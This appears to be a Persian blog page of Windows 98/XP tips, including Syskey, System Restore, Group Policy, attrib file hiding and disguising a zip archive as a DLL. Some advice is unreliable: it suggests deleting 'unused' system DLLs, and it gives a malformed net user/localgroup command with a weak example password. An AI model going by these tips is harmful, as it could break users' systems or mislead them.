آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

مجموعه مطالب آموزشی-افزایش علم کاربری ویندوز

از مطالب قبلی هم حتما دیدن کنید.

DLL های اضافی:

اگر محتویات فولدرهای C:\Windows, C:\Windows\System

 را بررسی کنید تعداد زیاد فایلهای با پسوند DLL خواهید یافت که بدون

استفاده هستند. برای اینکه فضای هارد دیسک شما بیهوده اشغال نشود

می توانید از Windows Explorer استفاده کنید تا بدانید که آیا یک فایل

 DLL هنوز استفاده می شود یا خیر؟

 برای انجام این کار روی یک فایل DLL کلیک سمت راست کنید سپس

 Quick View را انتخاب کنید در آنجا اطلاعاتی خواهید یافت از آن جمله

کاربردهایی است که برای آنها فایل DLL شما مورد استفاده قرار می گیرد

 اگر این کاربردها مدتهاست که مورد استفاده شما قرار نگرفته و قرار نخواهد

گرفت می توانید با اطمینان خاطر آن فایل DLL را پاک کنید. البته باید خیلی

در انجام این کار دقت کنید توجه داشته باشید که اگر نمی توانید در منوی

راست کلیک Quick View را ببینید به این معنی است که شما باید ابتدا آن

را از روی CD ویندوز خود نصب کنید (از طریق کنترل پانل

 Add/Rremove Program و سپس منوی Windows Setup سپس

 Accessorise را انتخاب کرده وارد Detail می شوید در حالیکه CD

ویندوز 98 خود را در CD-ROM قرار داده اید Quik View را تیک بزنید

تا این ویژگی به ویندوز شما اضافه شود.

-------------------

گذاشتن پسورد دوم برای ویندوز
در ویندوز XP می توانید قبل از فعال شدن هر حساب کاربری ( USER ) ها پسورد دیگری قبل از همه این ها قرار دهید . انتخاب این پسورد سبب خواهد شد تا دیگران قبل از ورود به ویندوز از دو سپر امنیتی عبور کنند. برای اضافه نمودن این پسورد به ویندوز مراحل زیر را دنبال کنید :
1)در کادر محاوره ای RUN عبارت Syskey را تایپ کنید و سپس OK کنید .
2)در پنجره ظاهر شده با سر برگ Securing the Windows XP Account Database روی گزینه Update کلیک کنید.
3)حال در قسمت Password Startup پسورد دلخواه خود را وارد کنید و پنجره را با OK ببندید.
4) در صورت لزوم می توانید در قسمت System Generated Password پسورد را بر روی Floppy Disk ذخیره نمائید تا فقط با استفاده از آن قادر به عبور باشید. از این پس زمانی که سیستم روشن و یا ریبوت شود . پسورد امنیتی قبل از ورود به حساب های کاربری ظاهر می شود و برای ورود از شما پسورد در خواست می کند.

( توجه: اگر پسورد را سه مرتبه اشتباه وارد کنید سیستم ریبوت می شود.)

----------------------------------

غیر فعال کردن گزارش خطا در ویندوز ایک پی
برو به به کنترل پنل ،  بعد وارد System شو ، روی برگه Advanced کلیک کن .  حالا روی error-reporting در زیر پنجره کلیک کن . Disable error reporting رو انتخاب کن و با فشار زدن OK  از صفحات خارج شو.

-----------------------------------------------

برگردوندنه ویندوز خراب شده به حالت قبل از بروز مشکل !
آخرین راه نجات ویندوز ! با استفاده از System Restore ویندوز رو برای مواقع اضطراری آماده کنید! شرکت سازنده ویندوز MICROSOFT ابزاری به نام System Restore رو در ویندوز قرار داده که از جمله کارکرد های اون بازیابی و جلوگیری از هنگ شدن ویندوز در مواقع حساس و اضطراری است. System Restore در حقیقت تنظیمات صحیح ویندوز رو به خاطر می سپاره و اون رو در محلی در دیسک سخت برای مواقع اضطراری ذخیره می کنه و با بازیابی کردن این اطلاعات می توان از بروز مشکل جلوگیری کرد . اولین گزینه سیستم ریستور یعنی RESTORE MY COMPUTER TO AN EARLIER TIME ویندوز رو به حالت قبل بر می گردونه و دومین گزینه یعنی Create Restore Points می تونه ریستور پوینتی ایجاد کنه. برای استفاده از این قابلیت مراحل زیر رو دنبال کنید : 1)منوی START رو انتخاب کنید ALL PROGRAMS رو کلیک و بعد از اون Accessories رو انتخاب کنید .سپس System Tools رو بر بزنید و System Restore رو کلیک کنید. 2) RESTORE MY COMPUTER TO AN EARLIER TIME رو کلیک کنید . 3)تاریخی رو که در اون کامپیوتر خوب کار می کرده رو کلیک کنید . 4)اطمینان حاصل کنید که تمام فایلهای باز رو ذخیره کردید و بعد از اون NEXT رو کلیک کنید . در این حالت سیستم عملیات بازیابی و بازگشت به قبل را آغاز می کنه .بعد از اتمام ، سیستم مجددا راه اندازی می شه . بعد از برگشت به ویندوز پنجره ای باز می شه که با زدن OK وارد محیط ویندوز می شه . برای ساختن یک Restore Points به مسیر قبل رفته ولی این بار گزینه Create Restore Points رو انتخاب کنید و با کلیک روی NEXT به قسمت بعد رفته و نامی رو برای Restore Points جدید انتخاب کنید و حالا گزینه Create رو کلیک کنید پس از چند لحظه کل تنظیمات ویندوز ذخیره می شه . از این به بعد در صورت بروز مشکل هنگام بوت ویندوز باید کلید F8 رو پایین نگاه دارید و با انتخاب گزینه Last Known Good Configouration ویندوز را به حالت قبل بر گرداند . پس ، از این به بعد بهتره قبل از انجام هر تغییری و نصب هر برنامه ای که نصب اون امکان داره تغییراتی رو در ویندوز اعمال کنه ( مانند آنتی ویروسها ، فایروالها و...) ، برای جلوگیری از خراب شدن ویندوز یک Restore Points ایجاد نمائیم .

-------------------------------------------------

نصب ویندوز مدیا پلیر نسخه 9 و 10 که مخصوص ویندوز ایک پی است بر روی همه ویندوزها !
با ورود نسخه های جدید Windows Media Player بسیاری از کاربران علاقه مند با دقت و وسواس خاصی این برنامه ها را با زحمت و مشقت فراوان از سایت شرکت Microsoft دریافت کردند . اما از آنجایی که شرکت مایکروسافت برای ترغیب بیشتر کاربران به سمت ویندوز XP , برنامه Windows Media Player نسخه های( 9 و 10 ) را فقط مخصوص این سیستم عامل طراحی کرده است و نمی توان آن را به صورت عادی بر روی ویندوز های دیگر نصب نمود . با استفاده از یک نکته تکنیکی بسیار ساده شما می توانید Windows Media Player نسخه های ( 9 و 10 ) را بر روی همه ویندوز ها نصب کنید و با استفاده از آن لذت ببرید ! برای نصب آخرین نسخه های Windows Media Player لازم است حتما برنامه WINZIP بر روی سیستم شما نصب باشد . فایل Setup مربوط به Windows Media Player در واقع یک فایل فشرده شده است و شما باید آنرا بوسیله WINZIP باز نمائید .برای اینکار بر روی SETUP برنامه Windows Media Player  راست کلیک کرده و با انتخاب گزینه EXTRACT TO و تعیین مسیری برای باز کردن این فایل ، تمام فایلهای SETUP، Windows Media Player را از حالت فشرده خارج کرده و در مسیری خاص کپی کنید . بعد از این کار باید به مسیری که فایلها را کپی کردید بروید و بر روی فایل SETUP-WM.EXE  دو بار کلیک کرده و آن را اجرا کنید . با انجام تمامی مراحل نصب Windows Media Player بر روی سیستم شما نصب می شود. در واقع فقط فایل Setup ، مخصوص Xp طراحی شده است وگرنه خود Windows Media Player نیازی به Xp ندارد . لازم به ذکر است اینکار چندین بار تست شده و مشکلی ندارد .

 البته در بعضی حالات خاص امکان عدم کارکرد این ترفند هست مانند زمانی که کاربران دو ویندوز متفاوت را بر روی یک پارتیشن نصب نموده باشند . به طور کلی پیشنهاد میشود همواره دو ویندوز مختلف را بر روی دو پارتیشن متفاوت نصب نمائید .

ـــــــــــــــــــــــــــــــــــــــ

ساخت سریع کاربر برای ویندوز
با تایپ در خط فرمان Run می توانید یک یوزر جدید در کمتر از 5 ثانیه ایجاد کنید و دیگر نیازی به رفتن به کنترل پنل و ... نیست.دستور زیر را در کادر Run تایپ کنید:
این دستور کاربر را ایجاد می کند: Net User  Amir ۱23/add
به همین سادگی . نام کاربری که من مثال زدم Amir و پسوردش  123هست. حالا اگه می خوایید گروهش رو هم مشخص کنید دستور زیر را تایپ کنید. :Net User Localgroup Administartor Amir/add
با این دستور کاربررا به گروه کابران Admin اضافه میکند.

-----------------------------------------------

ریستارت کردن ویندوز XP بدون بوت کردن
  ریستارت کردن ویندوز XP بدون بوت کردن
 ابتدا همزمان سه دکمه  Control + Alt +Delete را فشار دهید تا  Task Manager
باز شود حال به Tab - Processes بروید و آن را بفشارید  EXPLORER.EXE  را پیدا
کرده وروی آن رایت کنید کلیک  End Prosses را فشار دهید اکنون پنجره
Task Manager warning که حامل پیام  Yes یا No  مقابل شما قرار گرفته
شما  YES را فشار دهید بعد به Tab - Applications بروید ودکمه سمت
راست از اول New Task  را فشاردهید پنجره  Create - New -Task باز میشود
شما در قسمت  Open  تایپ کنید  Explorer.exe  و Ok کنید اکنون ویندوز
شما ریستارت شده است بدون بوت یا Log Off  لازم به ذکر است که این ریستارت فقط برای تغیرات که در ریجستری میدهید مفید است .

-----------------------------------------

آیکون ها بدون اسم
یکی از ساده ترین کارا  قرار دادن آیکون ها بدون اسم روی دسکتاپ است که ماشا ماشاالله همه شما این کارو بهتر از من بلدین ، ولی اینو برای اونایی میگم که تازه کارن و چیز زیادی بلد نیستن:

 روی ایکون مورد نظرکلیک کنید ، بعد کلید را فشار دهید، یا راست کلیک کرده و گزینه Rename را بزنید بعد کلید Alt  را پایین نگاه دارید و در همان حین عدد 0160 یا 255 (یکی به انتخاب) را بزنید سپس کلید Alt را رها کنید.  اگه این کار رو درست انجام داده باشی اسم اون آِیکون به هیچی تغییر میکنه  یعنی دیگه اسمی نداره.

-----------------------------------------------

محدود کردن دسترسی به Control Panel و اجزای آن
شاید محدود کردن کاربر در اعمال تغییرات در سیستم یکی از روشهای مناسب برای جلوگیری از از کار افتادگی سیستم در اثر تغییرات غیر لازم میباشد. بسیار دیده شده که کاربران از تغییر محیط، شرایط و یا نحوه کار سیستم نسبت به قبل گلایه دارند و مدعی هم هستند که هیج تغییری اعمال نکرده اند. این مساله ای است که اغلب سرپرستان سیستمها با آن مواجه هستند و مایکرسافت در ویندوز 2000 و XP امکانی را بنام Group Policy در ویندوز گنجانده که بتوان دسترسی یه سیستم را به طرق مختلف محدود کرد.
Group Policy این امکان را فراهم میکند تا بتوان Control Panel را به روشهای مختلف کنترل کرد:

1- دسترسی به Control Panel و اجزای آن را به طور کل از کار بیندازید.
2- فقط گزینه های خاصی در Control Panel نمایش داده شوند.
3- گزینه های خاصی را از دید کاربر مخفی کند.

 


برای آغاز کار ابتدا باید وارد  کنترل Group Plolicy بشوید که یکی از روشهای دسترسی به آن اجرا gpedit.msc از گزینه RUN در منوی Start می باشد.

جهت از کار انداختن Control Panel مراحل زیر را طی کنید:

1- از منوی Start گزینه Run را انتخاب کنید و بعد از نوشتن gpedit.msc  با زدن دکمه OK آن را تایید کنید.
2- در قسمت User Configuration به Administrative Templates بروید و با زدن علامت + کنار آن به گزینه های آن دسترسی پیدا کنید و Control Panel را انتخاب کنید.

3- اگر از ویندوز 2000 استفاده میکنید بر روی Disable Control Panel و اگر از XP استفاده میکنید بر روی Prohibit access to the Control Panel دوبار کلیک کنید.

4- گزینه Enable را انتخاب کنید و OK را بزنید
حالا دیگر هیج یک از کاربرها قادر به دسترسی به Control Panel نیستند حتی شما Administrator عزیز!!!
متاسفانه در یک سیستم Workgroup محدودیت به تمامی کاربرهای سیستم اعمال میشود حتی Administrator و برای رهایی از این مشکل باید از یک سیستم مبتنی بر Domain استفاده کرد تا بتوان با استفاده از OU ها تغییرات را به کاربرها و گروههای خاص اعمال کرد.


 نمایش و عدم نمایش گزینه های مورد نظر:

شما می توانید جهت دور کردن کاربر از گزینه های خاص در Control Panel اقدام به مخفی کردن گزینه های خاص بکنید و یا اگر قصد مخفی کردن اغلب کنترلها را دارید می توانید از گزینه دیگری استفاده کنید که به شما اجازه می دهد به فقط گزینه هایی که مایلید را نمایش دهد:

1- مراحل 1 و 2 حالت قبل را دنبال کنید.

2- بر روی Hide Specified Control Panel Applets دو بار کلیک کنید و Enable را انتخاب کنید.

3- بر روی Show کلید کنید و در پنجره جدید دکمه Add را بزنید.

4- حالا در پنجره جدید نام کنترل مورد نظر خود را بنویسید. نامی که وارد میکنید باید عیناً نام کنترل مورد نظر در Control Panel باشد. در این مثال ما قصد داریم کنترل System را که کاربر در صورت دسترسی به آن میتواند بسیاری از تنظیمات حساس سیستم را تغییر دهد از دید خارج کنیم لذا بنویسید system و همه پنجره ها را OK کنید.

حالا در صورت مراجعه به Control Panel دیگر System را در آن نمی بینید. به یاد داشته باشید که فقط قادر به دیدن آن نیستید و این به معنی محدود کردن دسترسی به این کنترل نیست و یک کاربر حرفه ای میتواند هنوز با نوشتن sysdm.cpl در خط فرمان آن را فرا بخواند.

--------------------------------------

تبدیل سیستم فایل از FAT به NTFS با حفظ اطّلاعات
برای تبدیل سیستم فایل ازFAT (File Allocation Table = جدول تخصیص فایل) به NTFS (New Technology File System = سیستم فایل با فناوری جدید) نیازی به Format کردن درایو نیست بلکه با یک دستور ساده در داس (Dos) میتونید با قابلیت حفظ اطّلاعات، سیستم فایل رو از FAT به NTFS تبدیل کنید. به شکل کلّی دستور توجّه فرمایید :

Convert [Volume]  /fs:ntfs  [/V]

[Volume] : این یک پارامتر اختیاریه و درایوی که میخوایم سیستم فایل اونو به NTFS تبدیل کنیم رو تعیین میکنه و اگه ذکر نشه درایو جاری که در خط فرمان مشاهده میشه در نظر گرفته میشه.

/fs:ntfs : این پارامتر اجباریه و به معنای File System:NTSF است

[/V] : این پارامتر هم اختیاریه و در صورت استفاده عملیات تبدیل سیستم فایل با نمایش کلیه ی پیام ها و راهنمایی ها انجام میشه.

مثلاً برای تبدیل سیستم فایل درایو C: از FAT به NTFS میتونیم از این دستور استفاده کنیم :  Convert C: /fs:ntfs /V

توجّه : برای تبدیل سیستم فایل از NTFS به FAT حتماً باید درایو رو Format کنید و هیچ راه دیگه ای هم نداره.

------------------------------------

افزایش کارایی سیستم :
افزایش کارایی سیستم عامل چیزی نیست جز، به حداقل رساندن جلوه های نمایشی ویندوز. زمانی که شما در حال استفاده از حداکثر جلوه های نمایشی هستید قسمتی از زمان CPU صرف پردازش این جلوه ها میشه همچنین قسمتی از حافظه RAM هم به این جلوه ها تعلق میگیره که باعث کاهش سرعت سیستم عامل میشه. با به حداقل رساندن این جلوه های نمایشی با افزایش چشم گیره سرعت سیستم عامل (در سیستم های ضعیف) روبرو خواهیم شد. برای اینکار مراحل زیر رو دانبال کنید :

1-       روی My Computer راست کلیک کنید و Properties رو انتخاب کنید.

2-       در پنجره ای که ظاهر میشه (System Properties) برگه Advanced رو انتخاب کنید و در قسمت Performance روی Settings کلیک کنید.

3-       در این پنجره (Performance Option) برگه Visual Effects انتخاب شده وشما در این قسمت با چهار انتخاب روبرو میشید :

·          گزینه اول Let Windows Choose What's best for my computer از شما میخواد تا اجازه بدید که انجام این تنظیمات بر عهده ویندوز باشه.

·          گزینه دوم Adjust for best appearance باعث میشه تا سیستم عامل شما بهترین و بیشترین جلوه نمایشی و داشته باشه. (برای سیستم های سریع)

·          گزینه سوم Adjust for best performance باعث میشه تا تمام جلوه های نمایشی سیستم عامل برداشته بشن و کارایی سیستم شما به حداکثر برسه. (برای سیستم های ضعیف)

·          گزینه چهارم Custom است که به شما اجازه میده خودتون هر جلوه ای رو که دوست دارید علامت بزنید و علامت اونایی رو که نمی خواید رو بردارید.

------------------------------------------------------------

حافظه مجازی :
حافظه مجازی قسمتی از حافظه دیسک سخته که به صورت موقت در اختیار سیستم عامل قرار میگیره. ویندوز از این فضا برای نگهداری داده های موقت خودش استفاده میکنه. مقدار پیش فرض این حافظه که توسط ویندوز تعیین میشه بهترین انتخابه و به ندرت پیش میاد که کسی بخواد اونو تغییر بده. در صورتی که کسی به خاطر کمبود فضای دیسک سخت، میزان حافظه مجازیش رو کاهش بده، مسلماً با افت سرعت سیستم مواجه میشه. همچنین کسی که اونو به حداکثر برسونه باعث میشه فضای بیشتری از دیسک در اختیار سیستم عامل قرار بگیره که مدیریت اون، باز هم موجب کاهش سرعت میشه. در هر صورت انتخاب با شماست. من فقط آموزش میدم و بقیه اش با شماست. برای افزایش یا کاهش حافظه مجازی مراحل زیر و دنبال کنید : 1- روی My Computer راست کلیک کنید و Properties رو انتخاب کنید. 2- در پنجره ای که ظاهر میشه (System Properties) برگه Advanced رو انتخاب کنید و در قسمت Performance روی Settings کلیک کنید. 3- در این پنجره (Performance Option) برگه Advanced رو انتخاب کنید و در قسمت Virtual Memory روی دکمه Change کلیک کنید. 4- در پنجره ظاهر شده (Virtual Memory) در قسمت Paging file size for selected drive روی Custome size کلیک کنید، حالا در کادر جلوی Initial size (MB) فضای دلخواهتون رو بر حسب مگا بایت تعیین کنید و روی دکمه Set کلیک کنید و سپس روی OK کلیک کنید تا تغییرات اعمال بشه.

-----------------------------------------------

ابر مخفی یا Super Hidden
توجّه کنید، ابر مخفی کردن با مخفی کردن تفاوت داره. ویندوز برای محافظت از فایلهای مهم و سیستمی خودش اونا رو ابر مخفی میکنه تا کسی نتونه اونا رو ببینه و به اونا صدمه ای بزنه. فرق فایلهای مخفی با فایلهای ابر مخفی در سیستمی بودن این فایلهاست. به طور کلّی هر فایل مخفی اگر سیستمی بشه به یک فایل ابر مخفی تبدیل میشه.

تو ویندوز این اجازه به کاربر داده نمیشه که بخواد فایل یا پوشه ای رو سیستمی کنه تا به صورت ابر مخفی در بیاد امّا خوشبختانه تو سیستم عامل داس (Dos) میشه این کارو کرد و برای این کار باید از دستور Attrib استفاده کنید. به شکل کلّی این دستور توجّه کنید :

Attrib [+R | -R]  [+A | -A]  [+S | -S]  [+H | -H]  [drive:][path][filename]  [/S  [/D]]

علامت مثبت (+) : دادن خصیصه به فایل یا پوشه (Set).

علامت منفی (-) : گر فتن خصیصه از فایل یا پوشه (Clear).

R : خصیصه فقط خواندنی (Read-only).

A : خصیصه آرشیو (Archive).

S : خصیصه سیستمی (System).

H : خصیصه مخفی (Hidden).

مثلاً دستور Attrib +S +H D:test.txt باعث میشه که فایل test.txt واقع در دایو D: یک فایل سیستمی و مخفی بشه و در نهایت توسط ویندوز به صورت یک فایل ابر مخفی در بیاد.

یا این دستور Attrib –S –H C:MSDOS.sys باعث میشه که فایل MSDOS.sys واقع در درایو C: ، از حالت ابر مخفی خارج بشه یعنی نه سیستمی باشه و نه مخفی.

/S : فرض کنید که قصد دارید تمام پوشه هایی که نامشون test هست و در مسیر F:\test\ در پوشه ها و زیر پوشه های مختلف قرار دارند رو با خصیصه های دلخواهتون تغییر بدید، برای این کار از پارامتر /S استفاده میکنیم. این پارامتر باعث میشه که دستور به تمام زیر پوشه هایی که همنام test هستند اعمال بشه و خصیصه های اونا رو تغییر بده.

 /D : مثلاً این دستور Attrib +R +S +H –A F:\test /S /D کاری که میخواستیم رو انجام میده امّا به انتهای دستور توجّه کنید! پارامتر /D به این معنی است که این دستور فقط روی پوشه ها اعمال بشه و کاری به فایلها نداشته باشه. این پارامتر به تنهایی استفاده نمیشه و فقط زمانی به کار میره که قبلش پارامتر /S اومده باشه.

توجّه : فراموش نکنید که سیستمی کردن به تنهایی باعث ابر مخفی شدن نمیشه و فایل حتماً باید مخفی هم بشه. بطور کلّی فایلهایی با خصیصه های مخفی و سیستمی، ابر مخفی هستند.

خب شما آموختید که چطور میشه یک فایل رو با سیستمی کردن ابر مخفی کرد، امیدوارم که به دردتون بخوره.

------------------------------------------------

یه ترفند جالب برای فایلهای Zip
وستان این ترفندی که میخوام بهتون بگم رو خودم فهمیدم احتمالاً بعضی از شماها (تعداد خیلی کمی) هم این ترفند جالب رو میدونید. خب بزارید اینطوری شروع کنم ... من مدتها قبل یه سری فایل داشتم که (برای من) خیلی محرمانه و مهم بود و من هم به دلایلی مجبور بودم که یه چند روزی کامپیوترم رو به یکی از دوستان حرفه ای (در زمینه کامپیوتر) قرض بدم، امّا من باید با این فایل ها چه کار میکردم تا به دست کسی نیفته ؟ باید اونارو تو CD رایت میکردم ؟ ولی اون فایل ها خیلی زیاد بودن و تو CD جا نمیشدن (حتی تو DVD)! حتماً میگید که باید مخفی میکردمشون... . آخه آدم ساده دارم میگم اون یه حرفه ای بود، خب پیداشون میکرد...! پس باید چه کار میکردم تا به این فایل ها دسترسی پیدا نمیکرد و اصلا بهشون مشکوک هم نمیشد ؟ به نظر شما من باید چه کار میکردم ....؟؟؟؟ من چند راه در پیش رو داشتم : 1- راه اول اینکه اونارو پاک کنم و بعد از اینکه کامپیوترم رو از دوستم پس گرفتم، فایلها رو با ریکاوری برگردونم. خب این راه اصلاً عاقلانه نبود، از کجا معلوم بود که اونم همین کار رو نکنه ؟ یا اینکه تو اون درایو چیزی (اطّلاعات) نریزه و اطّلاعات مهم من از بین نره ؟ پس این راه و بی خیال شدم. 2- راه دوم این بود که اون فایلها رو اَبَرمخفی کنم و به جایی انتقالشون بدم که عقل جن هم نمیرسه. خب این راه کمی قابل قبول تره ولی خالی از اشکال نیست چون همون طور که گفتم دوستم یه حرفه ای بود و میدونست که من این اطّلاعات با ارزش رو تو هاردم دارم پس به محض اینکه کامپیوترم به دستش برسه اول تمام هارد رو ریکاوری میکنه بعدش هم تمام هارد رو Search میکنه. اگه من از این راه استفاده میکردم ته دلم قرص نبود و میترسیدم که اطّلاعات لو بره. پس خود به خود این راه هم کنار رفت. (بعداَ آموزش ابر مخفی کردن رو بهتون میدم) 3- راه سوم این بود که تمام اطّلاعات رو به صورت یک فابل zip. یا .rar در بیارم و روشون کلمه عبور طول و درازی بزارم که نتونه به راحتی قفلش رو بشکنه. امّا چیزی که میگفتم این نیست پس صبر کنید. به نظر شما اگه این کارو میکردم خیالم راحت بود ؟ خب مسلماً یه کپی از اون فایل تهیه میکرد و یه روزی قفلش رو میشکوند. من باید کاری میکردم که اصلا به اون فایلها مشکوک نشه. پس این راه هم زیاد امن نبود. 4- اما راه چهارم از همه بهتره چون امکان اینکه به فایلها مشکوک بشه و بتونه قفلشون رو بشکنه تقریباَ صفر بود. همه ما میدونیم که با عوض کردن پسوند فایل میشه شکل ظاهری فایل رو عوض کرد، مثلاً شما میتونید با عوض کردن پسوند یک فایل عکس (.jpg) اونو بدون از بین رفتن عکس و خراب شدنش به یک فایل .dll یا ocx. یا .pak یا .tns و یا هر چیزه دیگه ای که شما میخواید تبدیل کنید امّا مشکل به همین سادگی حل نمیشد. من تقریبا حدود پانزده هزار فایل با پسوندهای متفاوت داشتم که به خاطر سپردن نام و پسوندشون غیر ممکن بود. پس کاری که من کردم این بود که ابتدا تمام فایلها رو به یک پوشه انتقال دادم و از اونجایی که نمیشد پسوند پوشه رو عوض کنم مجبور شدم اون پوشه رو به صورت zip در بیارم و برای پرونده یک کلمه عبور مطمئن بزارم؛ حالا بهترین کار این بود که پسوند فایل zip شده رو تغییر بدم، من پسوند اون فایل رو به .dll تغییر دادم تا به شکل یک فایل سیستمی در بیاد چون کسی به یک فایل سیستمی شک نمیکنه و اصلاَ بهش اهمیّت نمیده. قدم آخر هم این بود که این فایل نسبتاَ حجیم رو به پوشه بازیهام کپی کنم. چون فایلهای بازی اکثراَ فایلهای .dll و حجیم هستند غیر ممکن بود که کسی به اون شک کنه. من تنها کاری که باید میکردم این بود که نام اون فایل رو به خاطر بسپرم و زمانی که کامپیوترم رو پس گرفتم پسوند فایل رو به حالت اول یعنی .zip برگردونم و فایلها رو از توش استخراج کنم. برای تغییر پسوند فایل باید بتونید پسوند رو ببینید؛ در ویندوز نمیشه پسوند فایلهای شناخته شده رو دید و فقط میشه پسوند بعضی از فایلهای سیستمی مانند .dll و فایلهای ناشناخته رو دید. برای اینکه بتونید پسوند فایلها رو ببینید مراحل زیر رو دنبال کنید : ابتدا وارد Control Panel بشید و روی آیکن Folder Option دابل کلیک کنید، در پنجره ای که ظاهر میشه وارد برگه View بشید و در قسمت Advanced Settings علامت گزینه Hide extensions for known file types رو بردارید و روی Ok کلیک کنید به همین سادگی. حالا شما میتونید پسوند تمام فایلها رو ببینید. من تونستم با این ترفند که خودم کشفش کردم کامپیوترم رو به دوست حرفه ایم بدم و خیالمم از بابت اطّلاعات مهم و خصوصیم راحت باشه. امیدوارم که این ترفند در مواقع ضروری به کمکتون بیاد در ضمن نظر بدید و منم به خاطر این آموزش ها دعا کنید.

----------------------------------------

تغییر نام آیکون های دسکتاپ ( ترفندهای ویـنـدوز )
 

 سلام . توی این مطلب میخوام بهتون یاد بدم که چطوری نام آیکون های دسکتاپ خودتونو عوض کنید .

 

برای این منظور مراحل زیر را مرحله به مرحله طی کنید :

 

ابتدا داخل Run عبارت regedit را وارد نمایید و Enter را فشار دهید .

 

از پنجره ی باز شده از قسمت سمت چپ مسیر زیر رو پیدا کنید :

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache

 

از قسمت سمت راست دنبال عبارت My Compute و یا My Network Places و یا Recycle Bin و یا My Documents بگردید .

----------------------------------------------------------

مخفی کردن یک فولدر یا فایل به شکلی جدید و حیرت انگیز!

در این ترفند قصد داریم یک روش بسیار جالب و کاربردی را به شما معرفی کنیم که با استفاده از آن میتوانید یک فولدر یا یک فایل را در داخل ویندوز XP به سادگی کاملأ از صحنه روزگار محو کنید به شکلی که کاملأ مخفی و ناپیدا شود. سپس خودتان میتوانید با دانستن نام آن فایل و یا فولدر مجدد و به همان سادگی آن را بازیابی و ظاهر سازید. این ترفند را میتوانید ساده ترین نوع مخفی سازی فایل دانست به نحوی که با استفاده از گزینه های مشاهده فایلهای Hidden و امثالهم هم نمیتوان آن را مشاهده کرد.

برای این کار:

ابتدا از منوی Stat وارد Run شوید. سپس دستور cmd را تایپ نموده و Enter بزنید.
اکنون در داخل CMD کد زیر را وارد کنید و Enter بزنید:
attrib +h +s D:/milad
دقت کنید این کد فولدر milad را در درایو D مخفی میسازد.
به Space های خورده شده در میان کد نیز دقت کنید.
با این عمل فولدر milad کاملأ از روی هارد شما مخفی میشود.

در صورتی که میخواهید یک فایل را نیز مخفی کنید کافی است آدرس را بدین شکل وارد کنید:
attrib +h +s D:/Windows/milad.exe
این کد فایل milad.exe را در داخل درایو D و پوشه Windows مخفی میسازد.

به همین سادگی شما میتوانید عملیات مخفی سازی را انجام دهید.

اما چگونه این فایلهای مخفی کرده را بازگردانیم؟
1-بدین منظور در داخل CMD دستور زیر را وارد کنید تا به ترتیب فایلهای مخفی شده مان آشکار گردند:
attrib -h -s D:/milad
attrib -h -s D:/Windows/milad.exe
حالا چگونه این فایل ها رو بدون اینکه از hidden در بیاوریم  ببینیم ؟
برای این کار آدرس زیر را دنبال کنید:
 
Control panel/folder Option
بعد در صفحه باز شده روی زبانه View کلیک کنید.
بعد در قسمت Advansed Setting تیک کنار گزینه Hide protected Operating System File را بردارید.

تنها دقت کنید که محل و نام فایل مخفی شده تان فراموش تان نشود چرا که دیگر امکان بازیابی آن وجود ندارد.

-----------------------------------------

ایمنی سیستم قبل از Log on


ویندوز 2000/ XP Pro/ ویستا

مشکل: می‌خواهید از همان ابتدا و حتی قبل از Log on کردن سیستم خود را در مقابل دسترسی‌ها ایمن کنید. به شما نشان خواهیم داد که چگونه می‌توان چنین مسئله‌ای را عملی کرد.

مسیر مورد نظر به بانک‌ داده‌ها می‌رسد که ویندوز در آن رمزهای عبور کاربران را ذخیره می‌کند. این بخش به صورت قفل شده در windir%\system32\config%  وجود دارد. کلید مورد نظر برای این قفل هم به صورت استاندارد در همان هارد می‌باشد. البته ویندوز می‌تواند این کلید را بر روی یک دیسکت ذخیره کند و یا ابتدا پس از وارد کردن یک رمز عبور، بانک اطلاعاتی رمز عبور، را باز کند. هر دو مورد باعث این می‌شوند که ویندوز عمل بوت کردن را ناتمام گذاشته و خواستار وارد کردن رمز می‌شود. بدون این رمز هیچ کسی نمی‌تواند خود را Log on کند.

 توجه: اگر دیسکت را از دست داده و یا رمز عبور را فراموش کنید، ویندوز هیچ راهی برای باز کردن قفل بانک داده‌ها با رمزها راندارد.

راه حل: این ایمن سازی اضافه را می توانید توسط Syskey روشن کنید. این ابزار گرچه متعلق به ویندوز می‌باشد اما در منوی استارت خبری از آن نیست. دستیابی به آن توسط گزینه‌های زیر ممکن خواهد بود.

Start->Run->Syskey

توجه داشته باشید که باید به عنوان administrator خود را Log on کرده باشید. پس از ورود به ابزار گزینه Update را کلیک کنید. گزینه‌ای که از خود ویندوز در اینجا به چشم می‌خورد گزینه Store start up key Locally می‌باشد که در این صورت کلید بر روی هارد ذخیره می‌شود.

به جای این کار می‌توانید یک رمز عبور برای System Start مشخص کنید و یا یک کلید ثبت شده به صورت اتوماتیک را بر روی دیسکت ذخیره کنید. عملیات بوت، در این صورت حتی در حالی که دیسکت در درایو هم باشد، قطع می‌شود. از آنجا که Syskey یک ابزار قدیمی می‌باشد، هنوز کامپیوترهایی که درایو دیسکت را نداشته باشند. نمی‌شناسد. متاسفانه این برنامه نمی‌گذارد که از چیزی به جز دیسکت استفاده کرد و پافشاریش بر روی درایو :A می‌باشد. برای اینکه باز هم بتوان از استیک‌های USB، سی‌دی و یا مدیاهای دیگر استفاده کرد باید به آنها حرف درایو :A را بدهید.

----------------------------------------------

فرمانهای بدرد بخور موجود در قسمت RUN

 

حتما شما نیز تا به حال با Run موجود در ویندوز خود سروکار داشته اید. برای استفاده مفید از Run دستورات خاصی وجود دارد که هر یک کار مفیدی را انجام میدهد. به عنوان مثال دستوری که اطلاعات سخت افزاری و هم چنین اطلاعات سیستمی اعم از رم و کارکرد CPU و غیره را به نمایش میگذارد. دانستن این دستورات ویندوزی بهتر و مدیریت آسانتر را برایتان به ارمغان خواهد آورد.


با استفاده از کلیدهای ترکیبی Win+R و یا رفتن به منوی استارت وارد محیط Run شوید.
حال کافی است هر یک از این کدها را در آنجا وارد کنید:

REGEDIT
با تایپ این دستور رجیستری ویندوز باز میشود وبا استفاده از ان متوانید قسمت های مختلف ویندوز را بنا به سلیقه و خواست خود تغییر دهید .متذکر می شویم در رجیستری چیزی را که نمیدانید حذف یا تغییر ندهید .

CMD
